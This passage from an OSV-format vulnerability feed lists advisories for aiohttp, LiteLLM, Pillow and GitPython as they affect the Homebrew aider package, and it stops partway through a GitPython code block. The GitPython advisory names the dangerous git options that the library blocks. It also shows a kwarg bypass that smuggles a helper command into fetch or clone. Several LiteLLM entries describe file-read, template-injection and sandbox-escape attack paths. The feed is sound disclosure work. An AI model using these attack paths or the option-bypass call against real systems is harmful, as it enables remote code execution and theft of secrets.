https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-p998-jp59-783m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34515"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34516","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-m5qp-6w8w-w647","CVE-2026-34516","PYSEC-2026-2098"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP has a Multipart Header Size Bypass","details":"### Summary\n\nA response with an excessive number of multipart headers may be allowed to use more memory than intended, potentially allowing a DoS vulnerability.\n\n### Impact\n\nMultipart headers were not subject to the same size restrictions in place for normal headers, potentially allowing substantially more data to be loaded into memory than intended. However, other restrictions in place limit the impact of this vulnerability.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/8a74257b3804c9aac0bf644af93070f68f6c5a6f","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m5qp-6w8w-w647"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34516"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8a74257b3804c9aac0bf644af93070f68f6c5a6f"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34517","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-3wq7-rqq7-wx6j","CVE-2026-34517","PYSEC-2026-2099"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP has late size enforcement for non-file multipart fields causes memory DoS","details":"### Summary\n\nFor some multipart form fields, aiohttp read the entire field into memory before checking client_max_size.\n\n### Impact\n\nIf an application uses `Request.post()` an attacker can send a specially crafted multipart request to force significant temporary memory allocation even when the request is ultimately rejected.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3wq7-rqq7-wx6j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34517"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34518","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-966j-vmvw-g2g9","CVE-2026-34518","PYSEC-2026-2100"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP leaks Cookie and Proxy-Authorization headers on cross-origin redirect","details":"### Summary\n\nWhen following redirects to a different origin, aiohttp drops the Authorization header, but retains the Cookie and Proxy-Authorization headers.\n\n### Impact\n\nThe Cookie and Proxy-Authorizations headers could contain sensitive information which may be leaked to an unintended party after following a redirect.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-966j-vmvw-g2g9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34518"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34519","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-mwh4-6h8g-pg8w","CVE-2026-34519","PYSEC-2026-2101"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP has HTTP response splitting via \\r in reason phrase","details":"### Summary\n\nAn attacker who controls the `reason` parameter when creating a `Response` may be able to inject extra headers or similar exploits.\n\n### Impact\n\nIn the unlikely situation that an application allows untrusted data to be used in the response's `reason` parameter, then an attacker could manipulate the response to send something different from what the developer intended.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mwh4-6h8g-pg8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34519"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34520","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-63hf-3vf5-4wqf","CVE-2026-34520","PYSEC-2026-2102"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP's C parser (llhttp) accepts null bytes and control characters in response header values - header injection/security bypass","details":"### Summary\n\nThe C parser (the default for most installs) accepted null bytes and control characters in request headers.\n\n### Impact\n\nAn attacker could send header values that are interpreted differently than expected due to the presence of control characters. For example, `request.url.origin()` may return a different value than the raw Host header, or what a reverse proxy interpreted it as., potentially resulting in some kind of security bypass.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hf-3vf5-4wqf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34520"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2026-2102.yaml"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34525","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-c427-h43c-vf67","CVE-2026-34525","PYSEC-2026-2103"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP accepts duplicate Host headers","details":"### Summary\n\nMultiple Host headers were allowed in aiohttp.\n\n### Impact\n\nMostly this doesn't affect aiohttp security itself, but if a reverse proxy is applying security rules depending on the target Host, it is theoretically possible that the proxy and aiohttp could process different host names, possibly resulting in bypassing a security check on the proxy and getting a request processed by aiohttp in a privileged sub app when using `Application.add_domain()`.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349\nPatch: https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-c427-h43c-vf67"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34525"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-34993","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-jg22-mg44-37j8","CVE-2026-34993","PYSEC-2026-2104"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP is Vulnerable to Deserialization of Untrusted Data","details":"### Summary\n\nUsing ``CookieJar.load()`` with untrusted input may allow arbitrary code execution.\n\n### Impact\n\nMost applications using this function will be doing so with the user's own data, so this is unlikely to affect many applications.\n\n### Workaround\n\nIf an application does allow attacker controlled files to be loaded, a workaround on older releases would be to sanitise the files before loading.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:L/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34993"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-35029","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-53mr-6c8q-9789","CVE-2026-35029","PYSEC-2026-2597"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Privilege escalation via unrestricted proxy configuration endpoint","details":"### Impact\n\nThe `/config/update endpoint` does not enforce admin role authorization. A user who is already authenticated into the platform can then use this endpoint to do the following:\n\n - Modify proxy configuration and environment variables\n - Register custom pass-through endpoint handlers pointing to attacker-controlled Python code, achieving remote code execution\n - Read arbitrary server files by setting UI_LOGO_PATH and fetching via /get_image\n - Take over other priveleged accounts by overwriting UI_USERNAME and UI_PASSWORD environment variables\n\n### Patches\n\nFixed in v1.83.0. The endpoint now requires `proxy_admin` role.\n\n### Workarounds\n\nRestrict API key distribution. There is no configuration-level workaround.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-53mr-6c8q-9789"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35029"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2026/Apr/17"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-35030","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-jjhc-v7c2-5hh6","CVE-2026-35030","PYSEC-2026-390"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Authentication bypass via OIDC userinfo cache key collision","details":"### Impact\n\nWhen JWT authentication is enabled (`enable_jwt_auth: true`), the OIDC userinfo cache uses `token[:20]` as the cache key. JWT headers produced by the same signing algorithm generate identical first 20 characters.\n\nThis configuration option is not enabled by default. **Most instances are not affected.**\n\nAn unauthenticated attacker can craft a token whose first 20 characters match a legitimate user's cached token. On cache hit, the attacker inherits the legitimate user's identity and permissions. This affects deployments with JWT/OIDC authentication enabled.\n\n### Patches\n\nFixed in v1.83.0. The cache key now uses the full hash of the JWT token.\n\n### Workarounds\n\nDisable OIDC userinfo caching by setting the cache TTL to 0, or disable JWT authentication entirely.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-jjhc-v7c2-5hh6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35030"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-37004","published":"2026-09-09T23:40:56Z","modified":"2026-09-11T15:21:01Z","upstream":["GHSA-6wvf-77m9-58rm","CVE-2026-37004","PYSEC-2026-3861"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.7","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM vulnerable to server-side template injection in the /prompts/test endpoint","details":"BerriAI litellm <=1.82.4 is vulnerable to Server-Side Template Injection (SSTI), which allows unauthenticated remote attackers to execute arbitrary OS commands via a crafted dotprompt_content parameter in the /prompts/test endpoint due to use of an unsandboxed jinja2.Environment.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-37004"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/d910a95661fce3cdd36f3b06c03ecf9c46c6457c"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/blob/244bdffd1bfe7bebdfdef516e1ebe426a898e2f0/litellm/proxy/prompts/prompt_endpoints.py#L1073"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable"},{"type":"WEB","url":"https://yerangamage.com/cves/detail/?slug=litellm-ssti-rce"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-40192","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-whj4-6x5x-4v2j","BIT-pillow-2026-40192","CVE-2026-40192","PYSEC-2026-2250"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.2.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"FITS GZIP decompression bomb in Pillow","details":"### Impact\nPillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation).\n\n### Patches\nThe amount of data read is now limited to the necessary amount.\nFixed in Pillow 12.2.0 (PR #9521).\n\n### Workarounds\nAvoid Pillow >= 10.3.0, < 12.2.0\nOnly open [specific image formats](https://pillow.readthedocs.io/en/stable/releasenotes/8.0.0.html#image-open-add-formats-parameter), excluding FITS.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-whj4-6x5x-4v2j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40192"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9521"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/3cb854e8b2bab43f40e342e665f9340d861aa628"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://pillow.readthedocs.io/en/stable/releasenotes/12.2.0.html#prevent-fits-decompression-bomb"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-40217","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-wxxx-gvqv-xp7p","CVE-2026-40217","PYSEC-2026-2601"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.10","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM has a sandbox escape in custom-code guardrail","details":"### Impact\n\nThe `POST /guardrails/test_custom_code` endpoint runs user-supplied Python inside a hand-rolled sandbox. The sandbox can be escaped using bytecode-level techniques, allowing arbitrary code execution in the proxy process — which runs as root in the default Docker image.\n\n**Reaching the endpoint requires a proxy-admin credential** in default configurations.\n\n### Patches\n\nFixed in **`1.83.11`**. The hand-rolled sandbox has been replaced with `RestrictedPython`. Upgrade to `1.83.11` or later.\n\n### Workarounds\n\nIf upgrading is not immediately possible, block `POST /guardrails/test_custom_code` at your reverse proxy or API gateway.\n\n### References\n\n- Patched release: [`v1.83.10-stable`](https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-wxxx-gvqv-xp7p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40217"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable"},{"type":"WEB","url":"https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42203","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-xqmj-j6mv-4862","CVE-2026-42203","PYSEC-2026-2602"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.7","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Server-Side Template Injection in /prompts/test endpoint","details":"### Impact\nThe `POST /prompts/test` endpoint accepted user-supplied prompt templates and rendered them without sandboxing. A crafted template could run arbitrary code inside the LiteLLM Proxy process.\n\nThe endpoint only checks that the caller presents a valid proxy API key, so any authenticated user could reach it. Depending on how the proxy is deployed, this could expose secrets in the process environment (such as provider API keys or database credentials) and allow commands to be run on the host.\n\nProxy deployments running an affected version are in scope.\n\n### Patches\nThe issue is fixed in **`1.83.7-stable`**. The fix switches the prompt template renderer to a sandboxed environment that blocks the attributes this attack relies on.\n\nLiteLLM recommends upgrading to `1.83.7-stable` or later.\n\n### Workarounds\nIf upgrading is not immediately possible:\n\n1. Block `POST /prompts/test` at your reverse proxy or API gateway.\n2. Review and rotate API keys that should not have access to prompt management routes.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-xqmj-j6mv-4862"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42203"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42215","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-rpm5-65cw-6hj4","CVE-2026-42215","PYSEC-2026-2160"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.47","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython has Command Injection via Git options bypass","details":"### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, 